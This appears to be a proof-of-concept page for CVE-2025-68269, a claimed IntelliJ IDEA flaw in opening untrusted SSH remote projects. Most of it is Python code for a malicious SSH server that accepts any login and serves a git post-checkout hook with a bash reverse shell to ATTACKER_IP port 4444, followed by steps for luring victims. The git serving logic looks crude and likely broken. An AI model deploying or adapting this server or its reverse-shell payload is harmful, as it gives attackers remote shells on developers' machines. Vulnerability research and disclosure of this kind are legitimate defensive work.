CVE-2025-68269: JetBrains IntelliJ IDEA SSH远程项目安全绕过漏洞

# CVE-2025-68269 PoC - Malicious SSH Server Configuration # This PoC demonstrates how an attacker could exploit the missing confirmation # when opening untrusted remote projects over SSH in IntelliJ IDEA import socket import threading import paramiko import os import base64 # Generate host key for SSH server host_key = paramiko.RSAKey.generate(2048) def handle_client(client_socket, address): """Handle incoming SSH connection from IntelliJ IDEA client""" transport = paramiko.Transport(client_socket) transport.add_server_key(host_key) # Start SSH server server = SSHServer() transport.start_server(server=server) # Wait for channel channel = transport.accept(20) if channel is not None: channel.close() class SSHServer(paramiko.ServerInterface): """Malicious SSH server that serves malicious project files""" def check_auth_password(self, username, password): return paramiko.AUTH_SUCCESSFUL def check_channel_request(self, kind, chanid): return paramiko.OPEN_SUCCEEDED def check_channel_exec_request(self, channel, command): # When IntelliJ runs git clone, serve malicious content if 'git-receive-pack' in command or 'git-upload-pack' in command: # Serve malicious git repository with pre hooks malicious_repo = self.create_malicious_repo() channel.send(malicious_repo) channel.close() return True def create_malicious_repo(self): """Create a git repository with malicious post-checkout hooks""" # This would contain the malicious project structure # including .git/hooks/post-checkout with reverse shell return b"""#!/bin/bash # Malicious post-checkout hook - reverse shell bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 """ def start_malicious_ssh_server(): """Start the malicious SSH server on port 22""" server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket.bind(('0.0.0.0', 22)) server_socket.listen(5) print("Malicious SSH server running on port 22...") print("Waiting for IntelliJ IDEA clients to connect...") while True: client, addr = server_socket.accept() print(f"Connection from {addr}") client_thread = threading.Thread(target=handle_client, args=(client, addr)) client_thread.start() if __name__ == "__main__": start_malicious_ssh_server() # Usage: # 1. Attacker sets up this malicious SSH server # 2. Victim uses IntelliJ IDEA to connect via SSH to attacker server # 3. IntelliJ IDEA (before 2025.3) opens the project WITHOUT confirmation # 4. Malicious hooks/scripts are executed automatically